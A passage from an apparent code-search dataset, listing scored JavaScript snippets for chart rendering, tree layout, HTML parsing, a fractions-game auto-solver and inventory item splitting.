this.canRemoveBoilerplate = false;\n }\n }\n }\n if (nodeHasBeenTransformed) {\n node.attribs.id = id;\n this.ids.add(id);\n } else {\n this.transformedNodesCounter--;\n }\n }\n }", "title": "" }, { "docid": "1e27f12642648966a0418bc2bfae2b51", "score": "0.46904486", "text": "_filterData() {\n // filter per group\n const groups = {};\n this.groups = groups;\n\n // split the items per group\n for (const item of Object.values(this.items)) {\n // put the item in the correct group\n const groupName = item.parent ? item.parent.groupId : '';\n let group = groups[groupName];\n if (!group) {\n group = [];\n groups[groupName] = group;\n }\n group.push(item);\n\n // calculate the center of the item\n if (item.data.start) {\n if (item.data.end) {\n // range\n item.center = (item.data.start.valueOf() + item.data.end.valueOf()) / 2;\n } else {\n // box, dot\n item.center = item.data.start.valueOf();\n }\n }\n }\n\n // sort the items per group\n for (let currentGroupName in groups) {\n if (groups.hasOwnProperty(currentGroupName)) {\n groups[currentGroupName].sort((a, b) => a.center - b.center);\n }\n }\n\n this.dataChanged = false;\n }", "title": "" }, { "docid": "8fdacf6fc3b58830ca9f7381c0268842", "score": "0.468871", "text": "resetChart() {\n this.loadingQueue.drain();\n\n let props = this.properties;\n //extract all the props that need\n //to be passed on to each chart\n const {\n xScale,\n xAccessor,\n data,\n xExtents\n } = props;\n\n //extract start and end from extents\n let extents;\n if(typeof xExtents == \"function\") {\n extents = d3Extents(data, xExtents);\n }\n else {\n extents = xExtents;\n }\n\n const [start, end] = extents;\n let plotData = plotDataProcessor(data, xAccessor, start, end);\n\n this.xScale = xScale.copy();\n this.xScale.domain([start, end]);\n this.fullData = data;\n this.plotData = plotData; //plotData\n //console.log(this.fullData);\n this.firstItem = undefined;\n\n for(let i = 0; i < this.charts.length; i++) {\n let chart = this.charts[i];\n\n //set the x scales here\n //let { xScale } = chart.properties;;\n //xScale.domain([start, end]);\n\n chart.setProperties({\n xScale: this.xScale,\n //set extents instead of scale\n xExtents: [start, end],\n xAccessor: xAccessor,\n plotData: this.plotData,\n fullData: this.fullData\n });\n\n const { width, height } = this.properties;\n //pass them on if only one chart exists\n if(chart.properties.width == undefined) {\n chart.setProperties({\n width: width\n });\n }\n if(chart.properties.height == undefined) {\n chart.setProperties({\n height: height\n });\n }\n chart.updateScales(xAccessor, this.plotData, this.fullData);\n }\n\n //the ranges are still not set\n }", "title": "" }, { "docid": "0f347476666f2552307198b48eef5d7c", "score": "0.468705", "text": "function cleanUp() {\n svg.selectAll(\".bar\").remove();\n svg.selectAll(\".x.axis\").remove();\n svg.selectAll(\".y.axis\").remove();\n }", "title": "" }, { "docid": "0c5d479fdf54d60d361b5492b8f660cc", "score": "0.46861002", "text": "function walkTree(node, dataSource) {\n if (node instanceof formatparse_1.ParseNode) {\n if (node.parent instanceof source_1.SourceNode && dataSource.format) {\n dataSource.format.parse = node.assemble();\n }\n else {\n throw new Error('Can only instantiate parse next to source.');\n }\n }\n if (node instanceof facet_1.FacetNode) {\n if (!dataSource.name) {\n dataSource.name = \"data_\" + datasetIndex++;\n }\n if (!dataSource.source || dataSource.transform.length > 0) {\n data.push(dataSource);\n node.data = dataSource.name;\n }\n else {\n node.data = dataSource.source;\n }\n node.assemble().forEach(function (d) { return data.push(d); });\n // break here because the rest of the tree has to be taken care of by the facet.\n return;\n }\n if (node instanceof transforms_1.FilterNode ||\n node instanceof nullfilter_1.NullFilterNode ||\n node instanceof transforms_1.CalculateNode ||\n node instanceof aggregate_1.AggregateNode ||\n node instanceof pathorder_1.OrderNode) {\n dataSource.transform.push(node.assemble());\n }\n if (node instanceof nonpositivefilter_1.NonPositiveFilterNode ||\n node instanceof bin_1.BinNode ||\n node instanceof timeunit_1.TimeUnitNode ||\n node instanceof stack_1.StackNode) {\n dataSource.transform = dataSource.transform.concat(node.assemble());\n }\n if (node instanceof dataflow_1.OutputNode) {\n if (dataSource.source && dataSource.transform.length === 0) {\n node.source = dataSource.source;\n }\n else if (node.parent instanceof dataflow_1.OutputNode) {\n // Note that an output node may be required but we still do not assemble a\n // separate data source for it.\n node.source = dataSource.name;\n throw new Error('cannot happen');\n }\n else {\n if (!dataSource.name) {\n dataSource.name = \"data_\" + datasetIndex++;\n }\n // Here we set the name of the datasource we generated. From now on\n // other assemblers can use it.\n node.source = dataSource.name;\n // if this node has more than one child, we will add a datasource automatically\n if (node.numChildren() === 1 && dataSource.transform.length > 0) {\n data.push(dataSource);\n var newData = {\n name: null,\n source: dataSource.name,\n transform: []\n };\n dataSource = newData;\n }\n }\n }\n switch (node.numChildren()) {\n case 0:\n // done\n if (!dataSource.source || dataSource.transform.length > 0) {\n // do not push empty datasources that are simply references\n data.push(dataSource);\n }\n break;\n case 1:\n walkTree(node.children[0], dataSource);\n break;\n default:\n var source_2 = dataSource.name;\n if (!dataSource.source || dataSource.transform.length > 0) {\n data.push(dataSource);\n }\n else {\n source_2 = dataSource.source;\n }\n node.children.forEach(function (child) {\n var newData = {\n name: null,\n source: source_2,\n transform: []\n };\n walkTree(child, newData);\n });\n break;\n }\n }", "title": "" }, { "docid": "1255dc2eb4c105293bef1d4fc609f7be", "score": "0.46778196", "text": "cheat() {\n\n // First we do a lot of work to stop what's happening and do a \"soft\" reset\n this.endAnimation();\n\n this.targets.forEach( target => this.returnTarget( target ) );\n this.endAnimation();\n\n this.shapeGroups.forEach( shapeGroup => this.returnShapeGroup( shapeGroup ) );\n this.numberGroups.forEach( numberGroup => this.returnNumberGroup( numberGroup ) );\n this.endAnimation();\n\n const groupStack = this.hasShapes ? this.shapeGroupStacks[ 0 ] : this.numberGroupStacks[ 0 ];\n\n const numGroups = groupStack.array.length;\n const groups = _.range( 0, numGroups ).map( index => {\n const point = new Vector2( this.hasShapes ? -100 : 0, ( index - ( numGroups - 1 ) / 2 ) * 100 );\n\n return this.pullGroupFromStack( groupStack, point );\n } );\n\n this.endAnimation();\n\n if ( this.hasShapes ) {\n let maxQuantity = 0;\n const availableCollection = UnitCollection.fractionsToCollection( this.shapeStacks.map( shapeStack => {\n maxQuantity = Math.max( maxQuantity, shapeStack.array.length );\n return new Fraction( shapeStack.array.length, shapeStack.fraction.denominator );\n } ) );\n const denominators = availableCollection.nonzeroDenominators;\n const fractions = this.targets.map( target => target.fraction );\n\n // Only search over the given denominators\n const collectionFinder = new CollectionFinder( {\n denominators: denominators.map( PrimeFactorization.factor )\n } );\n\n const solution = FractionChallenge.findShapeSolution( fractions, collectionFinder, maxQuantity, availableCollection );\n\n solution.forEach( ( groupCollections, groupIndex ) => {\n // Add containers where needed\n const group = groups[ groupIndex ];\n while ( group.shapeContainers.length < groupCollections.length ) {\n group.increaseContainerCount();\n }\n\n // Move the pieces to the containers\n groupCollections.forEach( ( collection, containerIndex ) => {\n collection.unitFractions.forEach( fraction => {\n const stack = _.find( this.shapeStacks, stack => stack.fraction.equals( fraction ) );\n const piece = this.pullShapePieceFromStack( stack, Vector2.ZERO );\n this.placeActiveShapePiece( piece, group.shapeContainers.get( containerIndex ), group );\n } );\n } );\n } );\n }\n else {\n const pullNumberPiece = ( number, spot ) => {\n const stack = _.find( this.numberStacks, stack => stack.number === number );\n const piece = this.pullNumberPieceFromStack( stack, Vector2.ZERO );\n this.draggedNumberPieces.remove( piece );\n this.placeNumberPiece( spot, piece );\n };\n\n const availableQuantities = {};\n const numbers = this.numberStacks.map( numberStack => {\n availableQuantities[ numberStack.number ] = numberStack.array.length;\n return numberStack.number;\n } );\n const fractions = [];\n\n // if we have mixed numbers, their \"whole\" parts are exactly computable\n groups.forEach( ( group, index ) => {\n let fraction = this.targets[ index ].fraction;\n if ( group.isMixedNumber ) {\n const whole = Math.floor( fraction.value );\n pullNumberPiece( whole, group.wholeSpot );\n availableQuantities[ whole ]--;\n fraction = fraction.minusInteger( whole );\n }\n fractions.push( fraction.reduced() );\n } );\n\n const solution = FractionChallenge.findNumberSolution( fractions, Math.max( ...numbers ), availableQuantities );\n\n groups.forEach( ( group, index ) => {\n pullNumberPiece( solution[ index ] * fractions[ index ].numerator, group.numeratorSpot );\n pullNumberPiece( solution[ index ] * fractions[ index ].denominator, group.denominatorSpot );\n } );\n }\n\n this.endAnimation();\n }", "title": "" }, { "docid": "cc0ae7df39a50d5c3152a6dfcc17b84f", "score": "0.4675346", "text": "function relayoutDiagramStack(e) {\r\n\t\tmyDiagram.layout.invalidateLayout(); // but don't invalidate all Layouts that are in Groups\r\n\t\tmyDiagram.layoutDiagram();\r\n\t}", "title": "" }, { "docid": "e59a26d7a041753da002d7d65400a366", "score": "0.46719718", "text": "function updateStack() {\n nestByDate.forEach(function(d) {\n var y0 = 0;\n var y1 = 0;\n d.values.forEach(function(d) {\n if (d.vis === \"1\") {\n d.y0 = y0 + y1;\n y1 = yValue(d);\n d.y1 = y1;\n }\n });\n }); \n }", "title": "" }, { "docid": "1ee92e615343b37b51dffc32f8cbd768", "score": "0.4666193", "text": "function cleanplanets() {\n var v = [];\n for (var i = 1; i <= 12; i++) {\n var eo = xxxgenes(i);\n v[i] = getHornSet(xxxgenes(i)).trankey;\n if (v[i].indexOf(\"first_bend\") === -1) {\n eo.tranrule = xxxgenes(2).tranrule;\n eo.first_bend = 0;\n }\n for (let gn in genedefs) {\n var gd = genedefs[gn];\n if (eo[gn] > gd.max)\n gd.max = eo[gn];\n if (eo[gn] < gd.min)\n gd.min = eo[gn];\n }\n }\n forcerefresh = true;\n newframe();\n}", "title": "" }, { "docid": "8839c7fca820a6b3d59b8bdf0b64da68", "score": "0.4663106", "text": "_reconstructActiveFormattingElements() {\n\t\t\tconst listLength = this.activeFormattingElements.entries.length;\n\t\t\tif (listLength) {\n\t\t\t\tconst endIndex = this.activeFormattingElements.entries.findIndex((entry) => entry.type === EntryType.Marker || this.openElements.contains(entry.element));\n\t\t\t\tconst unopenIdx = endIndex < 0 ? listLength - 1 : endIndex - 1;\n\t\t\t\tfor (let i = unopenIdx; i >= 0; i--) {\n\t\t\t\t\tconst entry = this.activeFormattingElements.entries[i];\n\t\t\t\t\tthis._insertElement(entry.token, this.treeAdapter.getNamespaceURI(entry.element));\n\t\t\t\t\tentry.element = this.openElements.current;\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "3a9281eafc495fecc94ab0afadab9c89", "score": "0.46564612", "text": "static remove_former_svg() {\r\n d3.select(\"#summary\").remove();\r\n }", "title": "" }, { "docid": "9c70b366aabade0ffbe7500cd3b7dd85", "score": "0.4656305", "text": "function splitItem(pmcData, body, sessionID) { // -> Spliting item / Create new item with splited amount and removing that amount from older one\n item.resetOutput();\n\n let output = item.getOutput();\n let location = body.container.location;\n\n let items = getOwnerInventoryItems(body, sessionID);\n\n if (!(\"location\" in body.container) && body.container.container === \"cartridges\") {\n let tmp_counter = 0;\n\n for (let item_ammo in items.to) {\n if (items.to[item_ammo].parentId === body.container.id) {\n tmp_counter++;\n }\n }\n\n location = tmp_counter;//wrong location for first cartrige\n }\n\n\n // The item being merged is possible from three different sources: pmc, scav, or mail.\n for (let item of items.from) {\n if (item._id && item._id === body.item) {\n item.upd.StackObjectsCount -= body.count;\n\n let newItem = utility.generateNewItemId();\n\n output.data.items.new.push({\n \"_id\": newItem,\n \"_tpl\": item._tpl,\n \"parentId\": body.container.id,\n \"slotId\": body.container.container,\n \"location\": location,\n \"upd\": {\"StackObjectsCount\": body.count}\n });\n\n items.to.push({\n \"_id\": newItem,\n \"_tpl\": item._tpl,\n \"parentId\": body.container.id,\n \"slotId\": body.container.container,\n \"location\": location,\n \"upd\": {\"StackObjectsCount\": body.count}\n });\n\n return output;\n }\n }\n\n return \"\";\n}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "fce2ffb1dffdbe506189e3ece415c9db", "score": "0.465316", "text": "function stackClear() {\n\t this.__data__ = { 'array': [], 'map': null };\n\t}", "title": "" }, { "docid": "dec80a2886b032db1e7388c973ac9160", "score": "0.46511334", "text": "function update(source) {\n var i = 0;\n\n // Compute the new tree layout\n var root = d3.hierarchy(source.children[0])\n let bounds = d3.selection()._groups[0][0].getBoundingClientRect()\n\n // Set properties of SVG element; should be adjusted for scalability\n let width = bounds.width,\n \t height = bounds.height ;\n\n const num_nodes = root.descendants().length\n\n var tree = d3.tree()\n \t.size([width, height]).separation(function separation(a, b) {\n return a.parent == b.parent ? 1.5 : 1;\n });;\n\n // Initialize SVG element on page\n if (d3.select(\"#treeSVG\")._groups[0][0] != null) {\n\n d3.select(\"#treeSVG\").remove()\n }\n\n var svg = d3.select(\"#svg\").append(\"svg\")\n .attr(\"id\", \"treeSVG\")\n \t.attr(\"viewBox\", `-30 -30 ${1.2 * width - num_nodes} ${width - (8000 / num_nodes)}`)\n .attr(\"preserveAspectRatio\", \"none\")\n .attr(\"position\", \"absolute\")\n .append(\"g\")\n \t//.attr(\"transform\", \"translate(\" + (margin.left + width/2) + \",\" + margin.top + \")\");\n\n var nodes = tree(root).descendants(), links = tree(root).links();\n // Normalize for fixed-depth.\n nodes.forEach(function(d) { d.y = d.depth * 100; });\n\n // Declare the nodes…\n var node = svg.selectAll(\"g.node\")\n .data(nodes, function(d) { return d.id || (d.id = ++i); });\n\n // Enter the nodes.\n var nodeEnter = node.enter().append(\"g\")\n .attr(\"class\", \"node\")\n .attr(\"transform\", function(d) {\n return \"translate(\" + d.x + \",\" + d.y + \")\"; });\n\n nodeEnter.append(\"text\")\n .attr(\"y\", function(d) {\n return d.children || d._children ? -18 : 18; })\n .attr(\"dy\", \".35em\")\n .attr(\"text-anchor\", \"middle\")\n .text(function(d) { return `${d.data.name} ${(d.data.category === undefined ? '' : '(' + d.data.category + ')')}`; })\n .style(\"fill-opacity\", 1);\n\n // Declare the links…\n var link = svg.selectAll(\"path.link\")\n .data(links, function(d) { return d.target.id; });\n\n // Enter the links.\n link.enter().insert(\"line\", \"g\")\n .attr(\"class\", \"link\")\n .attr('x1', function(d) {return d.source.x;})\n .attr('y1', function(d) {return d.source.y;})\n .attr('x2', function(d) {return d.target.x;})\n .attr('y2', function(d) {return d.target.y - 30;});\n}", "title": "" }, { "docid": "de31597a0d6b96f1f271eea81f715d56", "score": "0.4650421", "text": "function scaleItems() {\n if (rescale) {\n d3.select('#showgrouppaper svg').selectAll('tmp')\n .data(items).enter()\n .append('text')\n .text(function(d){ return d.title; })\n .style(style.text)\n .attr('x', -1000)\n .attr('y', -1000)\n .attr('class', 'tmp');\n \n var z = d3.selectAll('.tmp')[0]\n .map(function(x){ return x.getBBox(); });\n width = d3.max(z.map(function(x){ return x.width; }));\n margin = margin * width;\n width = width + 2 * margin;\n height = d3.max(z.map(function(x){ return x.height+ 15 + margin / 2; }));\n\n // cleanup\n d3.selectAll('.tmp').remove();\n rescale = false;\n }\n }//end scaleItems ", "title": "" }, { "docid": "ffa8926081268054279ac2afbaff0f03", "score": "0.46482602", "text": "clear() {\n this.stack.clear();\n this.minStack.clear();\n }", "title": "" }, { "docid": "ea19a6584f7549430ac8321966145275", "score": "0.46473354", "text": "onContainerMouseEnter(e) {\n delete this.chartPosition;\n }", "title": "" }, { "docid": "fb90aa64f9bd2a0d2df355d62e2b8868", "score": "0.4645992", "text": "function stackClear() {\n this.__data__ = new _lodash_ListCache['default']();\n this.size = 0;\n }", "title": "" }, { "docid": "fb90aa64f9bd2a0d2df355d62e2b8868", "score": "0.4645992", "text": "function stackClear() {\n this.__data__ = new _lodash_ListCache['default']();\n this.size = 0;\n }", "title": "" }, { "docid": "64ff81c51d4a9365ab0be5784a659a02", "score": "0.46431178", "text": "handleRemoveSource() {\n if (this.state.sources.length > MINIMUM_NO_OF_SOURCES) {\n this.setState((prevState) => ({\n sources: prevState.sources.splice(0, prevState.sources.length - 1)\n }));\n }\n }", "title": "" }, { "docid": "1d6ab1191143b6bf99ed275907214827", "score": "0.4641648", "text": "resetDynamicOffset()\n {\n for( let [ groupKey, groupMap ] of this.menuMapMap.entries() )\n for( let [ key, menu ] of groupMap.entries() )\n menu.resetDynamicPos();\n }", "title": "" } ]
b45d824fd9df654e4e99a436b2490f4f
This is a helper function for getting values from parameter/options objects.
[ { "docid": "d22db1540664a5972536451271d29bb4", "score": "0.0", "text": "function getArg(aArgs, aName, aDefaultValue) {\n if (aName in aArgs) {\n return aArgs[aName];\n } else if (arguments.length === 3) {\n return aDefaultValue;\n } else {\n throw new Error('\"' + aName + '\" is a required argument.');\n }\n }", "title": "" } ]
[ { "docid": "4394774106cb173cdc8f578392f130a6", "score": "0.6616107", "text": "getPropertyValues(options) {\n\t\tconst propertyValues = this.propertiesStore.getPropertyValues();\n\t\tlet returnValues = propertyValues;\n\t\tif (options && (options.filterHiddenDisabled || options.filterHidden || options.filterDisabled || options.filterHiddenControls || options.valueFilters)) {\n\t\t\tconst filteredValues = {};\n\t\t\tfor (const propKey in propertyValues) {\n\t\t\t\tif (!has(propertyValues, propKey)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tconst filteredValue = this.getPropertyValue({ name: propKey }, options);\n\t\t\t\t// only set parameters with values or filter out values specified in config\n\t\t\t\tconst valueFilters = Array.isArray(options.valueFilters) ? options.valueFilters : [];\n\t\t\t\tif (typeof filteredValue !== \"undefined\" && !valueFilters.includes(filteredValue)) {\n\t\t\t\t\tfilteredValues[propKey] = filteredValue;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturnValues = filteredValues;\n\t\t}\n\n\t\t// convert currentParameters of structureType:object to object values\n\t\tif (options && options.applyProperties === true) {\n\t\t\tfor (const controlId in returnValues) {\n\t\t\t\tif (!has(returnValues, controlId)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tconst propertyId = this.convertPropertyId(controlId);\n\t\t\t\tconst propertyValue = this.propertiesStore.getPropertyValue(propertyId);\n\t\t\t\treturnValues[controlId] = this._convertObjectStructure(propertyId, propertyValue);\n\t\t\t}\n\t\t}\n\n\t\treturn returnValues;\n\t}", "title": "" }, { "docid": "2adde30b3a784abc9cb0402c1abc1566", "score": "0.6490959", "text": "function getParamValues (paramControls)\n{\n var paramValues = {};\n\n //iterates through the paramControls Arry generated by createParamControls() function\n //\n for(var i = 0; i < paramControls.length; i++)\n {\n var control = paramControls[i];\n\n switch (control.paramType)\n {\n case 'choice':\n\n paramValues[control.paramName] = control.options[control.selectedIndex].value;\n break;\n\n case 'float':\n case 'number':\n\n var value = control.value;\n\n if (!isNaN(parseFloat(value)) && isFinite(value))\n {\n paramValues[control.paramName] = parseFloat(value);\n }\n else\n {\n throw new Error(\"Parameter (\"+control.paramName+\") is not a valid number (\"+value+\")\");\n }\n break;\n\n case 'int':\n\n var value = control.value;\n if (!isNaN(parseFloat(value)) && isFinite(value))\n {\n paramValues[control.paramName] = parseInt(value);\n }\n else\n {\n throw new Error(\"Parameter (\"+control.paramName+\") is not a valid number (\"+value+\")\");\n }\n break;\n\n case 'checkbox':\n case 'radio':\n\n if (control.checked == true && control.value.length > 0)\n {\n paramValues[control.paramName] = control.value;\n }\n else\n {\n paramValues[control.paramName] = control.checked;\n }\n break;\n\n default:\n\n paramValues[control.paramName] = control.value;\n break;\n\n }\n }\n\n // retunrs the paramValues Object allen control Values\n return paramValues;\n}", "title": "" }, { "docid": "b7b829a48b57693d44674caac1f8a3bf", "score": "0.64274585", "text": "function ewr_GetOptValues(el, form) {\n\tvar $ = jQuery, obj = ($.isString(el)) ? ewr_GetElements(el, form) : el;\n\tif (obj.options) { // Selection list\n\t\treturn $(obj).find(\"option:selected[value!='']\").map(function() {\n\t\t\treturn this.value;\n\t\t}).get();\n\t} else if ($.isNumber(obj.length)) { // Radio/Checkbox list, or element not found\n\t\treturn $(obj).filter(\":checked[value!='{value}']\").map(function() {\n\t\t\treturn this.value;\n\t\t}).get();\n\t} else { // Text/Hidden\n\t\treturn [obj.value];\n\t}\n}", "title": "" }, { "docid": "d05f78c7ceb6644d3dd86b4eef982a9b", "score": "0.63283867", "text": "static get parameters() {\n }", "title": "" }, { "docid": "e0c08ff8d13983e9a2b111b0ebd5a5a8", "score": "0.6195332", "text": "function getValues() {\n\t\tvar phpLocation = $dialog.find( 'input[ name=\"php_location\" ]' ).val();\n\t\t\n\t\tvar values = {\n\t\t\tPHPLocation: ParserManager.sanitizePHPLocation( phpLocation ),\n\t\t\tenabledTools: getCheckboxArray( 'enabled' ),\n\t\t\tphpcsStandards: getCheckboxArray( 'phpcs-standards' ),\n\t\t\tphpmdRulesets: getCheckboxArray( 'phpmd-rulesets' )\n\t\t};\n\t\t\n\t\treturn values;\n\t}", "title": "" }, { "docid": "0589eb5a456e87553c6075e1fdda24dc", "score": "0.60335475", "text": "function getOptions() {\n const o = {};\n input.forEach(i => {\n if(i.slice(0,2) !== '--') return; // we don't deal with unknown params\n const [option,value] = i.slice(2).split('=');\n o[option] = value || true;\n });\n return o;\n}", "title": "" }, { "docid": "32daad4fd8f429e6de4b80be610a340b", "score": "0.6001443", "text": "_getSelectedOptionValues() {\n return this.options.filter(option => option.selected).map(option => option.value);\n }", "title": "" }, { "docid": "32daad4fd8f429e6de4b80be610a340b", "score": "0.6001443", "text": "_getSelectedOptionValues() {\n return this.options.filter(option => option.selected).map(option => option.value);\n }", "title": "" }, { "docid": "5f3f54481865d07da28b90d271becb86", "score": "0.59724003", "text": "function getValues() {\n return {\n city: 'Toronto',\n cuisine: 'Chinese',\n diet: 'vegetarian',\n mealType: 'lunch',\n intolerances: [\"seafood\", \"egg\"]\n }\n }", "title": "" }, { "docid": "d497b0aad03f3a401715f32b4f6ec9ad", "score": "0.59136915", "text": "function getParameterDefinitions() {\n\treturn [{\n name: 'resolution',\n type: 'choice',\n values: [0, 1, 2, 3, 4],\n captions: ['very low (6,16)', 'low (8,24)', 'normal (12,32)', 'high (24,64)', 'very high (48,128)'],\n initial: 2,\n caption: 'Resolution:'\n }, {\n name: 'part',\n type: 'choice',\n values: ['flat', 'mount', 'camera'],\n captions: ['flat', 'mount', 'camera'],\n initial: 'flat',\n caption: 'Part:'\n }];\n}", "title": "" }, { "docid": "0586190b2eddbc9d85f3d7faaf9ebd5b", "score": "0.5896936", "text": "function getSelectedValues(obj)\r\n {\r\n \tvar selectedValues = new Array();\r\n\tvar j = 0;\r\n\tfor(i = 0 ; i < obj.options.length ; i++)\r\n\t {\r\n\t\toptionElement = obj.options[i];\r\n\t \tif(optionElement.selected)\r\n\t\t {\r\n\t\t \tselectedValues[j] = optionElement.value;\r\n\t\t\tj++;\r\n\t\t }\r\n\t }\r\n\t return selectedValues;\r\n }", "title": "" }, { "docid": "c916f7a74c75e04df0c0fb676ae7cda5", "score": "0.5840894", "text": "function getRuleParametersFromOptions(options) {\n var ruleParams = new Object();\n \n // Set the form for further use\n ruleParams.form = $(options.form);\n \n if (options.params.field) {\n // Get full name of field\n var elementName = $(options.element).attr(\"name\");\n var prefix = getModelPrefix(elementName);\n var field = options.params.field;\n var fullFieldName = appendModelPrefix(field, prefix);\n var searchPattern = \":input[name='\" + fullFieldName + \"']\";\n var element = $(options.form).find(\":input[name='\" + fullFieldName + \"']\").first();\n \n // Set values of ruleParams.\n // We set searchPattern as a value instead of element itslef\n // because if we set element as a value and element\n // is renewed somehow using Ajax or other options,\n // we will not be able to get new value.\n ruleParams.type = \"field\";\n ruleParams.value = searchPattern;\n }\n else if (options.params.value) {\n // Set values of ruleParams\n ruleParams.type = \"value\";\n ruleParams.value = options.params.value;\n }\n \n return ruleParams;\n }", "title": "" }, { "docid": "9c13e6491827705e324624f5ae5f7323", "score": "0.5831037", "text": "function getBundleOptions(options) {\n let data = getData(options.value);\n return { data };\n }", "title": "" }, { "docid": "712e9a2c518f43c34416168e9bfb7321", "score": "0.5796174", "text": "getModelOptionValues() {\n $(document).ready(() => {\n \n Factory.getStaticInstance(this.attribute.model)\n .all()\n .then((objects) => {\n \n this.optionValues = _.map(objects, (object) => {\n return {\n id: object.id, \n value: object[this.attribute.referenceField]\n }\n });\n });\n });\t\n }", "title": "" }, { "docid": "a7c0e4dd09a05e1c2b04c7727f519728", "score": "0.5794112", "text": "get options() {\n return this[$options];\n }", "title": "" }, { "docid": "7b61fb25b417b63f26421c95d239e14f", "score": "0.57874525", "text": "getValues() {}", "title": "" }, { "docid": "64d075896a9084fb52ed0ae26593cf80", "score": "0.57804525", "text": "function getFormValuesAsGetParameters() {\n const addIfPresent = (params, key, id) => {\n const val = getInputValue(id);\n if (val === null) {\n return;\n }\n params.push(key + '=' + encodeURIComponent(val.trim()));\n };\n const params = [];\n addIfPresent(params, 'host', HOST_FIELD_ID);\n addIfPresent(params, 'token', HEC_TOKEN_FIELD_ID);\n addIfPresent(params, 'port', PORT_FIELD_ID);\n addIfPresent(params, 'index', INDEX_FIELD_ID);\n addIfPresent(params, 'upload_interval', POLL_INTERVAL_FIELD_ID);\n if (document.getElementById(DISABLE_SSL_VERIFY_CHECK_ID).checked) {\n params.push('disable_ssl_verify=true');\n }\n return '?' + params.join('&');\n}", "title": "" }, { "docid": "45754dcf4e0627a28df15364a4c3ca29", "score": "0.57712907", "text": "get values() {\n return this.queryItemsByPropertyValue('selected', true)\n .map((item) => this.composer.getItemPropertyValue(item, 'value'));\n }", "title": "" }, { "docid": "cc521a8981d5241938340bea28fe9d9f", "score": "0.57626486", "text": "function getPicklistValues(ples){\n\t\t\tvar res = [];// defaultValue\n\t\t\t// add a blank option.{--None--}\n\t\t\tres = ples;\n\t\t\t// res.splice(0, 0, selectoptionObject(true, '--None--', null, false));\n\t\t\treturn res;\n\t\t}", "title": "" }, { "docid": "e0ceff089b568fcd55000bd6e2287aa5", "score": "0.57085353", "text": "getValueFromOption(value) {\n\n\t\t\tlet output;\n\t\t\tconst args = Array.prototype.slice.call(arguments, 1);\n\n\t\t\tif (typeof value === \"function\") {\n\t\t\t\toutput = value.apply(this, args);\n\t\t\t} else {\n\t\t\t\toutput = value;\n\t\t\t}\n\n\t\t\treturn output;\n\n\t\t}", "title": "" }, { "docid": "4ce59b0aa4c65d706b74a7c7cb5c9a2d", "score": "0.56772727", "text": "get options() {\n let options = {};\n\n for (let o of this.tuiOptions) {\n let [optionName, , tuiOption] = o.split(':');\n tuiOption = tuiOption ? tuiOption : optionName;\n let value = this.args[optionName];\n\n if (value !== undefined) {\n options[tuiOption] = value;\n }\n }\n\n return options;\n }", "title": "" }, { "docid": "0b865b685c0edf0df1dee943cf5e5a91", "score": "0.56748515", "text": "function processOptionsFromArgs() {\n\tlet rawOptions = getOptionsFromArgs();\n\tfor (let key in rawOptions) {\n\t\tif (!options.hasOwnProperty(key)) {\n\t\t\tconsole.warn(`Unknown option: ${key}`);\n\t\t\tcontinue;\n\t\t}\n\n\t\tlet context = exports.getTestMode();\n\t\tlet optionsData = options[key];\n\t\tif (!optionsData.context.includes(context)) {\n\t\t\tconsole.warn(`The option is not allowed in ${context} context: ${key}`);\n\t\t\tcontinue;\n\t\t}\n\n\t\tlet val = rawOptions[key];\n\t\ttry {\n\t\t\tswitch (optionsData.type) {\n\t\t\t\tcase TYPE_BOOLEAN: {\n\t\t\t\t\toptions[key].value = processBooleanOption(val);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase TYPE_ARRAY: {\n\t\t\t\t\toptions[key].value = processArrayOption(val);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (err) {\n\t\t\tconsole.warn(`Unknown value of '${key}' option: ${val}`);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5ab4fe0dbea84d3f781bd89302f42010", "score": "0.5667225", "text": "function getBundleOptions(options) {\n let data = getData(options.value);\n let metadata = getMetadata(options.value);\n let trusted = !!options.trusted;\n return { data, metadata, trusted };\n }", "title": "" }, { "docid": "ed8e58e96473676b55812ccdcd209d32", "score": "0.56647956", "text": "function getOptions() {\n return pluck(program, [\n 'title', 'theme', 'style', 'output', 'controls', 'progress', 'encoding',\n 'template', 'layout', 'debug'\n ]);\n}", "title": "" }, { "docid": "897de0d406068ee36accb9e8351c57da", "score": "0.56557137", "text": "function getOptions(arg, hasTime){\n\t\tswitch(typeof(arg)){\n\t\t\tcase \"function\":\n\t\t\t\treturn {\n\t\t\t\t\tcallback: arg,\n\t\t\t\t\ttime: undefined\n\t\t\t\t};\n\t\t\tcase \"object\":\n\t\t\t\tvar ret = {\n\t\t\t\t\tmax: arg.max,\n\t\t\t\t\tstart: arg['start-index']\n\t\t\t\t};\n\t\t\t\tif(hasTime) ret.time = arg.time;\n\t\t\t\treturn ret;\n\t\t\tdefault: return {}; 